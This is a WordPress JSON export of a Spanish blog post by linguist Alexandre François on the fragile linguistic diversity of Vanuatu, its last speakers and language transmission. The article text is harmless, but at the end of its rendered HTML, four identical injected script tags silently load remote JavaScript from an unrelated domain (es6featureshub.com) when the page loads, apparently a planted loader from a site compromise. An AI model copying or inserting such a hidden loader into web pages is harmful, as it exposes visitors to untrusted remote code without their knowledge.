{"id":66711,"date":"2015-09-04T21:59:44","date_gmt":"2015-09-04T19:59:44","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66711"},"modified":"2025-10-21T21:59:59","modified_gmt":"2025-10-21T19:59:59","slug":"el-vanuatu-una-diversidad-fragil","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/","title":{"rendered":"El Vanuatu, una diversidad fr\u00e1gil"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Alexandre Fran\u00e7ois el June 18, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Dr Alexandre Fran\u00e7ois, LACITO-CNRS, Australian National University<\/em><br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Alexandre Fran\u00e7ois et \u2020Maten Womal, l'un des tout derniers locuteurs de la langue olrat\" src=\"\/wp-content\/uploads\/alex-maten.jpg\" alt=\"Alexandre Fran\u00e7ois y \u2020Maten Womal, uno de los \u00faltimos hablantes de la lengua olrat\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Alexandre Fran\u00e7ois y \u2020Maten Womal, uno de los \u00faltimos hablantes de la lengua olrat<\/p><\/div><\/p>\n<p><em>La semana pasada, Alexandre Fran\u00e7ois nos present\u00f3 la pr\u00e1ctica del multiling\u00fcismo en Vanuatu, el pa\u00eds con la m\u00e1s grande densidad ling\u00fc\u00edstica en el mundo. Nos mostr\u00f3 como el modo de vida tradicional de Vanuatu, a trav\u00e9s de su organizaci\u00f3n descentralizada y su falta de presi\u00f3n hacia la uniformidad, les permiti\u00f3 a las lenguas de apenas algunos centenares de hablantes desarrollarse y transmitirse a trav\u00e9s de los siglos.<br \/>\nNos explica hoy que, incluso si esta diversidad ling\u00fc\u00edstica est\u00e1 todav\u00eda muy presente en el Vanuatu moderno, \u00e9sta es cada vez m\u00e1s vulnerable.<\/em><br \/>\n&nbsp;<br \/>\n<strong>Trastornos hist\u00f3ricos<\/strong><\/p>\n<p>El archipi\u00e9lago conoci\u00f3 un per\u00edodo de trastornos hacia finales del siglo XIX: En primer lugar, los primeros contactos con los marineros venidos de Europa provocaron epidemias dram\u00e1ticas.<br \/>\nPor otro lado, pr\u00e1cticamente en el mismo momento, las islas de Melanesia se despoblaban a causa del Blackbirding, reclutamiento masivo de mano de obra para trabajar en las plantaciones de Queensland y de las islas Fiyi. Los misioneros de la \u00e9poca cuentan c\u00f3mo fueron testigos, en apenas algunos a\u00f1os, del hundimiento demogr\u00e1fico de numerosos pueblos, pr\u00f3speros en otros tiempos.<\/p>\n<p>En la regi\u00f3n del norte de Vanuatu que estudio (la isla Banks y Torres), todav\u00eda se puede maravillar con la riqueza ling\u00fc\u00edstica, ya que diez peque\u00f1as islas cuentan todav\u00eda con 16 lenguas diferentes. Sin embargo la tradici\u00f3n oral, as\u00ed como los archivos hist\u00f3ricos, permiten calcular que la misma regi\u00f3n, hacia 1860, albergaba 35 hablares distintos. Es un claro ejemplo de que la diversidad ling\u00fc\u00edstica pudo hundirse en s\u00f3lo algunas d\u00e9cadas.<br \/>\n&nbsp;<br \/>\n<strong>Los \u00faltimos testigos<\/strong><\/p>\n<p>Aunque el per\u00edodo actual est\u00e1 m\u00e1s tranquilo, observamos todav\u00eda hoy las consecuencias indirectas de esta crisis demogr\u00e1fica. Evitando sus aldeas que se hab\u00edan despoblado, numerosas familias monta\u00f1esas se resignaron a bajar para instalarse en los pueblos costeros, donde las nuevas iglesias cristianas se hab\u00edan establecido. Fundi\u00e9ndose entre la poblaci\u00f3n de un pueblo m\u00e1s grande, estas familias iban a reemplazar inevitablemente su propia lengua por el idioma mayoritario. Los ni\u00f1os nacidos despu\u00e9s de esta \u00e9poca, en los a\u00f1os 30 o 40, son los \u00faltimos en haber o\u00eddo los idiomas de sus padres; hoy, estos mismos individuos tienen entre 70 y 80 a\u00f1os, y son los \u00faltimos hablantes de lenguas casi extintas.<\/p>\n<p>En el transcurso de mis investigaciones, hice todo lo posible para encontrar a estos \u00faltimos testigos de una diversidad antigua, y para grabar sus lenguas mientras fuera todav\u00eda posible. Investigu\u00e9 sobre el araki \u2013 la lengua de donde viene el nombre de Sorosoro \u2013 pero tambi\u00e9n sobre el volow, el lemerig, el olrat, el mwesen, el lovono, el tanema \u2026 Por cada una de estas lenguas, el n\u00famero de hablantes se cuenta con los dedos de la mano. Ellas nos recuerdan c\u00f3mo la diversidad ling\u00fc\u00edstica de nuestro planeta es una flor fr\u00e1gil.<br \/>\n&nbsp;<br \/>\n<strong>La importancia de la transmisi\u00f3n<\/strong><\/p>\n<p>Afortunadamente, no todas las lenguas de Vanuatu est\u00e1n totalmente amenazadas en la misma medida. Para muchas de ellas, el pron\u00f3stico a medio plazo es incluso optimista, gracias a que el multiling\u00fcismo est\u00e1 todav\u00eda muy vivo en las zonas rurales del archipi\u00e9lago. La clave reside en la transmisi\u00f3n intergeneracional: aun cuando una lengua sea hablada s\u00f3lo por doscientas personas, \u00e9sta puede perdurar a condici\u00f3n de que los padres la hablen con los hijos.<\/p>\n<p>En la actualidad, la mayor\u00eda de las lenguas de Vanuatu est\u00e1n en esta situaci\u00f3n. La continuidad de su transmisi\u00f3n a las j\u00f3venes generaciones las protege, por el momento, de riesgos de extinci\u00f3n. Sin embargo, su d\u00e9bil demograf\u00eda sigue siendo su tal\u00f3n de Aquiles: bastar\u00e1 que se intensifique el \u00e9xodo rural hacia las ciudades, o que las costumbres se modernicen r\u00e1pidamente, y podr\u00edamos revivir trastornos semejantes a los del \u00faltimo siglo.<br \/>\n&nbsp;<br \/>\n<strong>Los papeles del ling\u00fcista<\/strong><\/p>\n<p>Los ling\u00fcistas no tienen entre sus manos todas las claves para asegurar la supervivencia de una lengua: \u00e9sta depende sobre todo de la voluntad de los hablantes de transmitir sus conocimientos a las futuras generaciones. Sin embargo, podemos contribuir de dos maneras para hacer vivir estas lenguas.<br \/>\nPor una parte, el trabajo de descripci\u00f3n y de documentaci\u00f3n, que toma la forma de gram\u00e1ticas, diccionarios o art\u00edculos cient\u00edficos, es indispensable para preservar el patrimonio ling\u00fc\u00edstico de la humanidad. Es igualmente el caso de las lenguas cuyo destino est\u00e1 ya sellado: aunque no se puede sacarlas a flote, podemos por lo menos salvar los tesoros mientras que todav\u00eda es tiempo. As\u00ed, el araki era hablado por una quincena de personas en 1997, hoy por seis o siete. Ahora est\u00e1 muy improbable que pueda establecerse de nuevo como lengua de una comunidad entera. Pero la gram\u00e1tica, el diccionario, las colecciones de cuentos que pude realizar, van por lo menos a contribuir guardando la memoria de esta lengua \u00fanica. Los \u00faltimos hablantes y sus familias est\u00e1n agradecidos para todo este trabajo \u2014 sea de naturaleza simb\u00f3lica.<\/p>\n<p>Por otra parte, las perspectivas son diferentes con las lenguas que todav\u00eda est\u00e1n bien de salud. El ling\u00fcista puede poner su trabajo al servicio de la comunidad, consolidando los modos de transmisi\u00f3n intergeneracional. Este esfuerzo puede tomar formas diversas, por ejemplo contribuyendo a la introducci\u00f3n de las lenguas vern\u00e1culas en el sistema escolar. As\u00ed vuelvo de un viaje el mes pasado a Vanuatu, d\u00f3nde anim\u00e9 a los profesores de las escuelas primarias a incluir en la ense\u00f1anza no s\u00f3lo el franc\u00e9s y el ingl\u00e9s, como ahora es el caso, sino tambi\u00e9n la lengua materna de sus alumnos. Por suerte, es en esta direcci\u00f3n que est\u00e1 orientada en este mismo momento la nueva pol\u00edtica ling\u00fc\u00edstica del gobierno Vanuatu. Para contribuir con mi granito de arena a este importante proyecto, les present\u00e9 a los alumnos libros de alfabetizaci\u00f3n que acababa de realizar, ilustrando la ortograf\u00eda de las lenguas vern\u00e1culas. Vi en sus ojos la admiraci\u00f3n de descubrir que su lengua tambi\u00e9n pod\u00eda escribirse.<br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Lecture d'un livre d'alphab\u00e9tisation en langue vernaculaire \u00a9 A. Fran\u00e7ois\" src=\"\/wp-content\/uploads\/alexf_primer-hiw.jpg\" alt=\"Leyendo un abecedario\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Leyendo un abecedario. \u00a9 A. Fran\u00e7ois<\/p><\/div><br \/>\n&nbsp;<br \/>\n<strong>Para conocer m\u00e1s:<\/strong><br \/>\nEl sitio personal de Alexandre Fran\u00e7ois: <a href=\"http:\/\/alex.francois.free.fr\/\" target=\"_blank\">http:\/\/alex.francois.free.fr\/<\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Alexandre Fran\u00e7ois el June 18, 2011 &nbsp; Dr Alexandre Fran\u00e7ois, LACITO-CNRS, Australian National University La semana pasada, Alexandre Fran\u00e7ois nos present\u00f3 la pr\u00e1ctica del multiling\u00fcismo en Vanuatu, el pa\u00eds con la m\u00e1s grande densidad ling\u00fc\u00edstica en el mundo. Nos mostr\u00f3 como el modo de vida tradicional de Vanuatu, a trav\u00e9s de su organizaci\u00f3n [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66711","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>El Vanuatu, una diversidad fr\u00e1gil - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"El Vanuatu, una diversidad fr\u00e1gil - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Alexandre Fran\u00e7ois el June 18, 2011 &nbsp; Dr Alexandre Fran\u00e7ois, LACITO-CNRS, Australian National University La semana pasada, Alexandre Fran\u00e7ois nos present\u00f3 la pr\u00e1ctica del multiling\u00fcismo en Vanuatu, el pa\u00eds con la m\u00e1s grande densidad ling\u00fc\u00edstica en el mundo. Nos mostr\u00f3 como el modo de vida tradicional de Vanuatu, a trav\u00e9s de su organizaci\u00f3n [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T19:59:44+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:59:59+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"El Vanuatu, una diversidad fr\u00e1gil\",\"datePublished\":\"2015-09-04T19:59:44+00:00\",\"dateModified\":\"2025-10-21T19:59:59+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/\"},\"wordCount\":1120,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/\",\"name\":\"El Vanuatu, una diversidad fr\u00e1gil - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T19:59:44+00:00\",\"dateModified\":\"2025-10-21T19:59:59+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"El Vanuatu, una diversidad fr\u00e1gil\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"El Vanuatu, una diversidad fr\u00e1gil - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/","og_locale":"es_ES","og_type":"article","og_title":"El Vanuatu, una diversidad fr\u00e1gil - Sorosoro","og_description":"Publicado por Alexandre Fran\u00e7ois el June 18, 2011 &nbsp; Dr Alexandre Fran\u00e7ois, LACITO-CNRS, Australian National University La semana pasada, Alexandre Fran\u00e7ois nos present\u00f3 la pr\u00e1ctica del multiling\u00fcismo en Vanuatu, el pa\u00eds con la m\u00e1s grande densidad ling\u00fc\u00edstica en el mundo. Nos mostr\u00f3 como el modo de vida tradicional de Vanuatu, a trav\u00e9s de su organizaci\u00f3n [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T19:59:44+00:00","article_modified_time":"2025-10-21T19:59:59+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"6 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"El Vanuatu, una diversidad fr\u00e1gil","datePublished":"2015-09-04T19:59:44+00:00","dateModified":"2025-10-21T19:59:59+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/"},"wordCount":1120,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/","name":"El Vanuatu, una diversidad fr\u00e1gil - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T19:59:44+00:00","dateModified":"2025-10-21T19:59:59+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-vanuatu-una-diversidad-fragil\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"El Vanuatu, una diversidad fr\u00e1gil"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66711","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66711"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66711\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66711"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66711"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66711"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}